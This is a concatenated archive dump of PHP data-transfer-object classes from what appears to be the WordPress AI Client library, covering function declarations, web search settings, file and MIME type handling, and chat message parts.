* @var string The name of the function.
*/
private string $name;
/**
* @var string A description of what the function does.
*/
private string $description;
/**
* @var array|null The JSON schema for the function parameters.
*/
private ?array $parameters;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $name The name of the function.
* @param string $description A description of what the function does.
* @param array|null $parameters The JSON schema for the function parameters.
*/
public function __construct(string $name, string $description, ?array $parameters = null)
{
$this->name = $name;
$this->description = $description;
$this->parameters = $parameters;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string The function name.
*/
public function getName(): string
{
return $this->name;
}
/**
* Gets the function description.
*
* @since 0.1.0
*
* @return string The function description.
*/
public function getDescription(): string
{
return $this->description;
}
/**
* Gets the function parameters schema.
*
* @since 0.1.0
*
* @return array|null The parameters schema.
*/
public function getParameters(): ?array
{
return $this->parameters;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'A description of what the function does.'], self::KEY_PARAMETERS => ['type' => 'object', 'description' => 'The JSON schema for the function parameters.', 'additionalProperties' => \true]], 'required' => [self::KEY_NAME, self::KEY_DESCRIPTION]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionDeclarationArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description];
if ($this->parameters !== null) {
$data[self::KEY_PARAMETERS] = $this->parameters;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_DESCRIPTION]);
return new self($array[self::KEY_NAME], $array[self::KEY_DESCRIPTION], $array[self::KEY_PARAMETERS] ?? null);
}
}
Tools/DTO/WebSearch.php 0000644 00000005502 15207673127 0010662 0 ustar 00
*/
class WebSearch extends AbstractDataTransferObject
{
public const KEY_ALLOWED_DOMAINS = 'allowedDomains';
public const KEY_DISALLOWED_DOMAINS = 'disallowedDomains';
/**
* @var string[] List of domains that are allowed for web search.
*/
private array $allowedDomains;
/**
* @var string[] List of domains that are disallowed for web search.
*/
private array $disallowedDomains;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string[] $allowedDomains List of domains that are allowed for web search.
* @param string[] $disallowedDomains List of domains that are disallowed for web search.
*/
public function __construct(array $allowedDomains = [], array $disallowedDomains = [])
{
$this->allowedDomains = $allowedDomains;
$this->disallowedDomains = $disallowedDomains;
}
/**
* Gets the allowed domains.
*
* @since 0.1.0
*
* @return string[] The allowed domains.
*/
public function getAllowedDomains(): array
{
return $this->allowedDomains;
}
/**
* Gets the disallowed domains.
*
* @since 0.1.0
*
* @return string[] The disallowed domains.
*/
public function getDisallowedDomains(): array
{
return $this->disallowedDomains;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are allowed for web search.'], self::KEY_DISALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are disallowed for web search.']], 'required' => []];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return WebSearchArrayShape
*/
public function toArray(): array
{
return [self::KEY_ALLOWED_DOMAINS => $this->allowedDomains, self::KEY_DISALLOWED_DOMAINS => $this->disallowedDomains];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
return new self($array[self::KEY_ALLOWED_DOMAINS] ?? [], $array[self::KEY_DISALLOWED_DOMAINS] ?? []);
}
}
Files/DTO/File.php 0000644 00000032326 15207673127 0007644 0 ustar 00
*/
class File extends AbstractDataTransferObject
{
public const KEY_FILE_TYPE = 'fileType';
public const KEY_MIME_TYPE = 'mimeType';
public const KEY_URL = 'url';
public const KEY_BASE64_DATA = 'base64Data';
/**
* @var MimeType The MIME type of the file.
*/
private MimeType $mimeType;
/**
* @var FileTypeEnum The type of file storage.
*/
private FileTypeEnum $fileType;
/**
* @var string|null The URL for remote files.
*/
private ?string $url = null;
/**
* @var string|null The base64 data for inline files.
*/
private ?string $base64Data = null;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $file The file string (URL, base64 data, or local path).
* @param string|null $mimeType The MIME type of the file (optional).
* @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
*/
public function __construct(string $file, ?string $mimeType = null)
{
// Detect and process the file type (will set MIME type if possible)
$this->detectAndProcessFile($file, $mimeType);
}
/**
* Detects the file type and processes it accordingly.
*
* @since 0.1.0
*
* @param string $file The file string to process.
* @param string|null $providedMimeType The explicitly provided MIME type.
* @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
*/
private function detectAndProcessFile(string $file, ?string $providedMimeType): void
{
// Check if it's a URL
if ($this->isUrl($file)) {
$this->fileType = FileTypeEnum::remote();
$this->url = $file;
$this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
return;
}
// Data URI pattern.
$dataUriPattern = '/^data:(?:([a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*' . '(?:;[a-zA-Z0-9\-]+=[a-zA-Z0-9\-]+)*)?;)?base64,([A-Za-z0-9+\/]*={0,2})$/';
// Check if it's a data URI.
if (preg_match($dataUriPattern, $file, $matches)) {
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $matches[2];
// Extract just the base64 data
$extractedMimeType = empty($matches[1]) ? null : $matches[1];
$this->mimeType = $this->determineMimeType($providedMimeType, $extractedMimeType, null);
return;
}
// Check if it's a local file path (before base64 check)
if (file_exists($file) && is_file($file)) {
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $this->convertFileToBase64($file);
$this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
return;
}
// Check if it's plain base64
if (preg_match('/^[A-Za-z0-9+\/]*={0,2}$/', $file)) {
if ($providedMimeType === null) {
throw new InvalidArgumentException('MIME type is required when providing plain base64 data without data URI format.');
}
$this->fileType = FileTypeEnum::inline();
$this->base64Data = $file;
$this->mimeType = new MimeType($providedMimeType);
return;
}
throw new InvalidArgumentException('Invalid file provided. Expected URL, base64 data, or valid local file path.');
}
/**
* Checks if a string is a valid URL.
*
* @since 0.1.0
*
* @param string $string The string to check.
* @return bool True if the string is a URL.
*/
private function isUrl(string $string): bool
{
return filter_var($string, \FILTER_VALIDATE_URL) !== \false && preg_match('/^https?:\/\//i', $string);
}
/**
* Converts a local file to base64.
*
* @since 0.1.0
*
* @param string $filePath The path to the local file.
* @return string The base64-encoded file data.
* @throws RuntimeException If the file cannot be read.
*/
private function convertFileToBase64(string $filePath): string
{
$fileContent = @file_get_contents($filePath);
if ($fileContent === \false) {
throw new RuntimeException(sprintf('Unable to read file: %s', $filePath));
}
return base64_encode($fileContent);
}
/**
* Gets the file type.
*
* @since 0.1.0
*
* @return FileTypeEnum The file type.
*/
public function getFileType(): FileTypeEnum
{
return $this->fileType;
}
/**
* Checks if the file is an inline file.
*
* @since 0.1.0
*
* @return bool True if the file is inline (base64/data URI).
*/
public function isInline(): bool
{
return $this->fileType->isInline();
}
/**
* Checks if the file is a remote file.
*
* @since 0.1.0
*
* @return bool True if the file is remote (URL).
*/
public function isRemote(): bool
{
return $this->fileType->isRemote();
}
/**
* Gets the URL for remote files.
*
* @since 0.1.0
*
* @return string|null The URL, or null if not a remote file.
*/
public function getUrl(): ?string
{
return $this->url;
}
/**
* Gets the base64-encoded data for inline files.
*
* @since 0.1.0
*
* @return string|null The plain base64-encoded data (without data URI prefix), or null if not an inline file.
*/
public function getBase64Data(): ?string
{
return $this->base64Data;
}
/**
* Gets the data as a data URI for inline files.
*
* @since 0.1.0
*
* @return string|null The data URI in format: data:[mimeType];base64,[data], or null if not an inline file.
*/
public function getDataUri(): ?string
{
if ($this->base64Data === null) {
return null;
}
return sprintf('data:%s;base64,%s', $this->getMimeType(), $this->base64Data);
}
/**
* Gets the MIME type of the file as a string.
*
* @since 0.1.0
*
* @return string The MIME type string value.
*/
public function getMimeType(): string
{
return (string) $this->mimeType;
}
/**
* Gets the MIME type object.
*
* @since 0.1.0
*
* @return MimeType The MIME type object.
*/
public function getMimeTypeObject(): MimeType
{
return $this->mimeType;
}
/**
* Checks if the file is a video.
*
* @since 0.1.0
*
* @return bool True if the file is a video.
*/
public function isVideo(): bool
{
return $this->mimeType->isVideo();
}
/**
* Checks if the file is an image.
*
* @since 0.1.0
*
* @return bool True if the file is an image.
*/
public function isImage(): bool
{
return $this->mimeType->isImage();
}
/**
* Checks if the file is audio.
*
* @since 0.1.0
*
* @return bool True if the file is audio.
*/
public function isAudio(): bool
{
return $this->mimeType->isAudio();
}
/**
* Checks if the file is text.
*
* @since 0.1.0
*
* @return bool True if the file is text.
*/
public function isText(): bool
{
return $this->mimeType->isText();
}
/**
* Checks if the file is a document.
*
* @since 0.1.0
*
* @return bool True if the file is a document.
*/
public function isDocument(): bool
{
return $this->mimeType->isDocument();
}
/**
* Checks if the file is a specific MIME type.
*
* @since 0.1.0
*
* @param string $type The mime type to check (e.g. 'image', 'text', 'video', 'audio').
*
* @return bool True if the file is of the specified type.
*/
public function isMimeType(string $type): bool
{
return $this->mimeType->isType($type);
}
/**
* Determines the MIME type from various sources.
*
* @since 0.1.0
*
* @param string|null $providedMimeType The explicitly provided MIME type.
* @param string|null $extractedMimeType The MIME type extracted from data URI.
* @param string|null $pathOrUrl The file path or URL to extract extension from.
* @return MimeType The determined MIME type.
* @throws InvalidArgumentException If MIME type cannot be determined.
*/
private function determineMimeType(?string $providedMimeType, ?string $extractedMimeType, ?string $pathOrUrl): MimeType
{
// Prefer explicitly provided MIME type
if ($providedMimeType !== null) {
return new MimeType($providedMimeType);
}
// Use extracted MIME type from data URI
if ($extractedMimeType !== null) {
return new MimeType($extractedMimeType);
}
// Try to determine from file extension
if ($pathOrUrl !== null) {
$parsedUrl = parse_url($pathOrUrl);
$path = $parsedUrl['path'] ?? $pathOrUrl;
// Remove query string and fragment if present
$cleanPath = strtok($path, '?#');
if ($cleanPath === \false) {
$cleanPath = $path;
}
$extension = pathinfo($cleanPath, \PATHINFO_EXTENSION);
if (!empty($extension)) {
try {
return MimeType::fromExtension($extension);
} catch (InvalidArgumentException $e) {
// Extension not recognized, continue to error
unset($e);
}
}
}
throw new InvalidArgumentException('Unable to determine MIME type. Please provide it explicitly.');
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'oneOf' => [['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::REMOTE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_URL => ['type' => 'string', 'format' => 'uri', 'description' => 'The URL to the remote file.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_URL]], ['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::INLINE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_BASE64_DATA => ['type' => 'string', 'description' => 'The base64-encoded file data.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_BASE64_DATA]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FileArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_FILE_TYPE => $this->fileType->value, self::KEY_MIME_TYPE => $this->getMimeType()];
if ($this->url !== null) {
$data[self::KEY_URL] = $this->url;
} elseif (!$this->fileType->isRemote() && $this->base64Data !== null) {
$data[self::KEY_BASE64_DATA] = $this->base64Data;
} else {
throw new RuntimeException('File requires either url or base64Data. This should not be a possible condition.');
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_FILE_TYPE]);
// Check which properties are set to determine how to construct the File
$mimeType = $array[self::KEY_MIME_TYPE] ?? null;
if (isset($array[self::KEY_URL])) {
return new self($array[self::KEY_URL], $mimeType);
} elseif (isset($array[self::KEY_BASE64_DATA])) {
return new self($array[self::KEY_BASE64_DATA], $mimeType);
} else {
throw new InvalidArgumentException('File requires either url or base64Data.');
}
}
/**
* Performs a deep clone of the file.
*
* This method ensures that the MimeType value object is cloned to prevent
* any shared references between the original and cloned file.
*
* @since 0.4.2
*/
public function __clone()
{
$this->mimeType = clone $this->mimeType;
}
}
Files/Enums/MediaOrientationEnum.php 0000644 00000001730 15207673127 0013501 0 ustar 00
*/
private static array $extensionMap = [
// Text
'txt' => 'text/plain',
'html' => 'text/html',
'htm' => 'text/html',
'css' => 'text/css',
'js' => 'application/javascript',
'json' => 'application/json',
'xml' => 'application/xml',
'csv' => 'text/csv',
'md' => 'text/markdown',
// Images
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
'bmp' => 'image/bmp',
'webp' => 'image/webp',
'svg' => 'image/svg+xml',
'ico' => 'image/x-icon',
// Documents
'pdf' => 'application/pdf',
'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xls' => 'application/vnd.ms-excel',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'ppt' => 'application/vnd.ms-powerpoint',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'odt' => 'application/vnd.oasis.opendocument.text',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
// Archives
'zip' => 'application/zip',
'tar' => 'application/x-tar',
'gz' => 'application/gzip',
'rar' => 'application/x-rar-compressed',
'7z' => 'application/x-7z-compressed',
// Audio
'mp3' => 'audio/mpeg',
'wav' => 'audio/wav',
'ogg' => 'audio/ogg',
'flac' => 'audio/flac',
'm4a' => 'audio/m4a',
'aac' => 'audio/aac',
// Video
'mp4' => 'video/mp4',
'avi' => 'video/x-msvideo',
'mov' => 'video/quicktime',
'wmv' => 'video/x-ms-wmv',
'flv' => 'video/x-flv',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
// Fonts
'ttf' => 'font/ttf',
'otf' => 'font/otf',
'woff' => 'font/woff',
'woff2' => 'font/woff2',
// Other
'php' => 'application/x-httpd-php',
'sh' => 'application/x-sh',
'exe' => 'application/x-msdownload',
];
/**
* Document MIME types.
*
* @var array
*/
private static array $documentTypes = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet'];
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $value The MIME type value.
* @throws InvalidArgumentException If the MIME type is invalid.
*/
public function __construct(string $value)
{
if (!self::isValid($value)) {
throw new InvalidArgumentException(sprintf('Invalid MIME type: %s', $value));
}
$this->value = strtolower($value);
}
/**
* Gets the primary known file extension for this MIME type.
*
* @since 0.1.0
*
* @return string The file extension (without the dot).
* @throws InvalidArgumentException If no known extension exists for this MIME type.
*/
public function toExtension(): string
{
// Reverse lookup for the MIME type to find the extension.
$extension = array_search($this->value, self::$extensionMap, \true);
if ($extension === \false) {
throw new InvalidArgumentException(sprintf('No known extension for MIME type: %s', $this->value));
}
return $extension;
}
/**
* Creates a MimeType from a file extension.
*
* @since 0.1.0
*
* @param string $extension The file extension (without the dot).
* @return self The MimeType instance.
* @throws InvalidArgumentException If the extension is not recognized.
*/
public static function fromExtension(string $extension): self
{
$extension = strtolower($extension);
if (!isset(self::$extensionMap[$extension])) {
throw new InvalidArgumentException(sprintf('Unknown file extension: %s', $extension));
}
return new self(self::$extensionMap[$extension]);
}
/**
* Checks if a MIME type string is valid.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type to validate.
* @return bool True if valid.
*/
public static function isValid(string $mimeType): bool
{
// Basic MIME type validation: type/subtype
return (bool) preg_match('/^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*$/', $mimeType);
}
/**
* Checks if this MIME type is a specific type.
*
* This method returns true when the stored MIME type begins with the
* given prefix. For example, `"audio"` matches `"audio/mpeg"`.
*
* @since 0.1.0
*
* @param string $mimeType The MIME type prefix to check (e.g., "audio", "image").
* @return bool True if this MIME type is of the specified type.
*/
public function isType(string $mimeType): bool
{
return str_starts_with($this->value, strtolower($mimeType) . '/');
}
/**
* Checks if this is an image MIME type.
*
* @since 0.1.0
*
* @return bool True if this is an image type.
*/
public function isImage(): bool
{
return $this->isType('image');
}
/**
* Checks if this is an audio MIME type.
*
* @since 0.1.0
*
* @return bool True if this is an audio type.
*/
public function isAudio(): bool
{
return $this->isType('audio');
}
/**
* Checks if this is a video MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a video type.
*/
public function isVideo(): bool
{
return $this->isType('video');
}
/**
* Checks if this is a text MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a text type.
*/
public function isText(): bool
{
return $this->isType('text');
}
/**
* Checks if this is a document MIME type.
*
* @since 0.1.0
*
* @return bool True if this is a document type.
*/
public function isDocument(): bool
{
return in_array($this->value, self::$documentTypes, \true);
}
/**
* Checks if this MIME type equals another.
*
* @since 0.1.0
*
* @param self|string $other The other MIME type to compare.
* @return bool True if equal.
* @throws InvalidArgumentException If the other MIME type is invalid.
*/
public function equals($other): bool
{
if ($other instanceof self) {
return $this->value === $other->value;
}
if (is_string($other)) {
return $this->value === strtolower($other);
}
throw new InvalidArgumentException(sprintf('Invalid MIME type comparison: %s', gettype($other)));
}
/**
* Gets the string representation of the MIME type.
*
* @since 0.1.0
*
* @return string The MIME type value.
*/
public function __toString(): string
{
return $this->value;
}
}
Messages/DTO/Message.php 0000644 00000013044 15207673127 0011052 0 ustar 00
* }
*
* @extends AbstractDataTransferObject
*/
class Message extends AbstractDataTransferObject
{
public const KEY_ROLE = 'role';
public const KEY_PARTS = 'parts';
/**
* @var MessageRoleEnum The role of the message sender.
*/
protected MessageRoleEnum $role;
/**
* @var MessagePart[] The parts that make up this message.
*/
protected array $parts;
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessageRoleEnum $role The role of the message sender.
* @param MessagePart[] $parts The parts that make up this message.
* @throws InvalidArgumentException If parts contain invalid content for the role.
*/
public function __construct(MessageRoleEnum $role, array $parts)
{
$this->role = $role;
$this->parts = $parts;
$this->validateParts();
}
/**
* Gets the role of the message sender.
*
* @since 0.1.0
*
* @return MessageRoleEnum The role.
*/
public function getRole(): MessageRoleEnum
{
return $this->role;
}
/**
* Gets the message parts.
*
* @since 0.1.0
*
* @return MessagePart[] The message parts.
*/
public function getParts(): array
{
return $this->parts;
}
/**
* Returns a new instance with the given part appended.
*
* @since 0.1.0
*
* @param MessagePart $part The part to append.
* @return Message A new instance with the part appended.
* @throws InvalidArgumentException If the part is invalid for the role.
*/
public function withPart(\WordPress\AiClient\Messages\DTO\MessagePart $part): \WordPress\AiClient\Messages\DTO\Message
{
$newParts = $this->parts;
$newParts[] = $part;
return new \WordPress\AiClient\Messages\DTO\Message($this->role, $newParts);
}
/**
* Validates that the message parts are appropriate for the message role.
*
* @since 0.1.0
*
* @return void
* @throws InvalidArgumentException If validation fails.
*/
private function validateParts(): void
{
foreach ($this->parts as $part) {
$type = $part->getType();
if ($this->role->isUser() && $type->isFunctionCall()) {
throw new InvalidArgumentException('User messages cannot contain function calls.');
}
if ($this->role->isModel() && $type->isFunctionResponse()) {
throw new InvalidArgumentException('Model messages cannot contain function responses.');
}
}
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ROLE => ['type' => 'string', 'enum' => MessageRoleEnum::getValues(), 'description' => 'The role of the message sender.'], self::KEY_PARTS => ['type' => 'array', 'items' => \WordPress\AiClient\Messages\DTO\MessagePart::getJsonSchema(), 'minItems' => 1, 'description' => 'The parts that make up this message.']], 'required' => [self::KEY_ROLE, self::KEY_PARTS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return MessageArrayShape
*/
public function toArray(): array
{
return [self::KEY_ROLE => $this->role->value, self::KEY_PARTS => array_map(function (\WordPress\AiClient\Messages\DTO\MessagePart $part) {
return $part->toArray();
}, $this->parts)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return self The specific message class based on the role.
*/
final public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ROLE, self::KEY_PARTS]);
$role = MessageRoleEnum::from($array[self::KEY_ROLE]);
$partsData = $array[self::KEY_PARTS];
$parts = array_map(function (array $partData) {
return \WordPress\AiClient\Messages\DTO\MessagePart::fromArray($partData);
}, $partsData);
// Determine which concrete class to instantiate based on role
if ($role->isUser()) {
return new \WordPress\AiClient\Messages\DTO\UserMessage($parts);
} elseif ($role->isModel()) {
return new \WordPress\AiClient\Messages\DTO\ModelMessage($parts);
} else {
// Only USER and MODEL roles are supported
throw new InvalidArgumentException('Invalid message role: ' . $role->value);
}
}
/**
* Performs a deep clone of the message.
*
* This method ensures that message part objects are cloned to prevent
* modifications to the cloned message from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedParts = [];
foreach ($this->parts as $part) {
$clonedParts[] = clone $part;
}
$this->parts = $clonedParts;
}
}
Messages/DTO/MessagePart.php 0000644 00000025055 15207673127 0011706 0 ustar 00
*/
class MessagePart extends AbstractDataTransferObject
{
public const KEY_CHANNEL = 'channel';
public const KEY_TYPE = 'type';
public const KEY_THOUGHT_SIGNATURE = 'thoughtSignature';
public const KEY_TEXT = 'text';
public const KEY_FILE = 'file';
public const KEY_FUNCTION_CALL = 'functionCall';
public const KEY_FUNCTION_RESPONSE = 'functionResponse';
/**
* @var MessagePartChannelEnum The channel this message part belongs to.
*/
private MessagePartChannelEnum $channel;
/**
* @var MessagePartTypeEnum The type of this message part.
*/
private MessagePartTypeEnum $type;
/**
* @var string|null Thought signature for extended thinking.
*/
private ?string $thoughtSignature = null;
/**
* @var string|null Text content (when type is TEXT).
*/
private ?string $text = null;
/**
* @var File|null File data (when type is FILE).
*/
private ?File $file = null;
/**
* @var FunctionCall|null Function call request (when type is FUNCTION_CALL).
*/
private ?FunctionCall $functionCall = null;
/**
* @var FunctionResponse|null Function response (when type is FUNCTION_RESPONSE).
*/
private ?FunctionResponse $functionResponse = null;
/**
* Constructor that accepts various content types and infers the message part type.
*
* @since 0.1.0
*
* @param mixed $content The content of this message part.
* @param MessagePartChannelEnum|null $channel The channel this part belongs to. Defaults to CONTENT.
* @param string|null $thoughtSignature Optional thought signature for extended thinking.
* @throws InvalidArgumentException If an unsupported content type is provided.
*/
public function __construct($content, ?MessagePartChannelEnum $channel = null, ?string $thoughtSignature = null)
{
$this->channel = $channel ?? MessagePartChannelEnum::content();
$this->thoughtSignature = $thoughtSignature;
if (is_string($content)) {
$this->type = MessagePartTypeEnum::text();
$this->text = $content;
} elseif ($content instanceof File) {
$this->type = MessagePartTypeEnum::file();
$this->file = $content;
} elseif ($content instanceof FunctionCall) {
$this->type = MessagePartTypeEnum::functionCall();
$this->functionCall = $content;
} elseif ($content instanceof FunctionResponse) {
$this->type = MessagePartTypeEnum::functionResponse();
$this->functionResponse = $content;
} else {
$type = is_object($content) ? get_class($content) : gettype($content);
throw new InvalidArgumentException(sprintf('Unsupported content type %s. Expected string, File, ' . 'FunctionCall, or FunctionResponse.', $type));
}
}
/**
* Gets the channel this message part belongs to.
*
* @since 0.1.0
*
* @return MessagePartChannelEnum The channel.
*/
public function getChannel(): MessagePartChannelEnum
{
return $this->channel;
}
/**
* Gets the type of this message part.
*
* @since 0.1.0
*
* @return MessagePartTypeEnum The type.
*/
public function getType(): MessagePartTypeEnum
{
return $this->type;
}
/**
* Gets the thought signature.
*
* @since 1.3.0
*
* @return string|null The thought signature or null if not set.
*/
public function getThoughtSignature(): ?string
{
return $this->thoughtSignature;
}
/**
* Gets the text content.
*
* @since 0.1.0
*
* @return string|null The text content or null if not a text part.
*/
public function getText(): ?string
{
return $this->text;
}
/**
* Gets the file.
*
* @since 0.1.0
*
* @return File|null The file or null if not a file part.
*/
public function getFile(): ?File
{
return $this->file;
}
/**
* Gets the function call.
*
* @since 0.1.0
*
* @return FunctionCall|null The function call or null if not a function call part.
*/
public function getFunctionCall(): ?FunctionCall
{
return $this->functionCall;
}
/**
* Gets the function response.
*
* @since 0.1.0
*
* @return FunctionResponse|null The function response or null if not a function response part.
*/
public function getFunctionResponse(): ?FunctionResponse
{
return $this->functionResponse;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
$channelSchema = ['type' => 'string', 'enum' => MessagePartChannelEnum::getValues(), 'description' => 'The channel this message part belongs to.'];
$thoughtSignatureSchema = ['type' => 'string', 'description' => 'Thought signature for extended thinking.'];
return ['oneOf' => [['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::text()->value], self::KEY_TEXT => ['type' => 'string', 'description' => 'Text content.'], self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_TEXT], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::file()->value], self::KEY_FILE => File::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FILE], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionCall()->value], self::KEY_FUNCTION_CALL => FunctionCall::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_CALL], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionResponse()->value], self::KEY_FUNCTION_RESPONSE => FunctionResponse::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_RESPONSE], 'additionalProperties' => \false]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return MessagePartArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_CHANNEL => $this->channel->value, self::KEY_TYPE => $this->type->value];
if ($this->text !== null) {
$data[self::KEY_TEXT] = $this->text;
} elseif ($this->file !== null) {
$data[self::KEY_FILE] = $this->file->toArray();
} elseif ($this->functionCall !== null) {
$data[self::KEY_FUNCTION_CALL] = $this->functionCall->toArray();
} elseif ($this->functionResponse !== null) {
$data[self::KEY_FUNCTION_RESPONSE] = $this->functionResponse->toArray();
} else {
throw new RuntimeException('MessagePart requires one of: text, file, functionCall, or functionResponse. ' . 'This should not be a possible condition.');
}
if ($this->thoughtSignature !== null) {
$data[self::KEY_THOUGHT_SIGNATURE] = $this->thoughtSignature;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
if (isset($array[self::KEY_CHANNEL])) {
$channel = MessagePartChannelEnum::from($array[self::KEY_CHANNEL]);
} else {
$channel = null;
}
$thoughtSignature = $array[self::KEY_THOUGHT_SIGNATURE] ?? null;
// Check which properties are set to determine how to construct the MessagePart
if (isset($array[self::KEY_TEXT])) {
return new self($array[self::KEY_TEXT], $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FILE])) {
return new self(File::fromArray($array[self::KEY_FILE]), $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FUNCTION_CALL])) {
return new self(FunctionCall::fromArray($array[self::KEY_FUNCTION_CALL]), $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FUNCTION_RESPONSE])) {
return new self(FunctionResponse::fromArray($array[self::KEY_FUNCTION_RESPONSE]), $channel, $thoughtSignature);
} else {
throw new InvalidArgumentException('MessagePart requires one of: text, file, functionCall, or functionResponse.');
}
}
/**
* Performs a deep clone of the message part.
*
* This method ensures that nested objects (file, function call, function response)
* are cloned to prevent modifications to the cloned part from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
if ($this->file !== null) {
$this->file = clone $this->file;
}
if ($this->functionCall !== null) {
$this->functionCall = clone $this->functionCall;
}
if ($this->functionResponse !== null) {
$this->functionResponse = clone $this->functionResponse;
}
}
}
Messages/DTO/UserMessage.php 0000644 00000001454 15207673127 0011713 0 ustar 00 getRole()`
* to check the role of a message.
*
* @since 0.1.0
*/
class UserMessage extends \WordPress\AiClient\Messages\DTO\Message
{
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessagePart[] $parts The parts that make up this message.
*/
public function __construct(array $parts)
{
parent::__construct(MessageRoleEnum::user(), $parts);
}
}
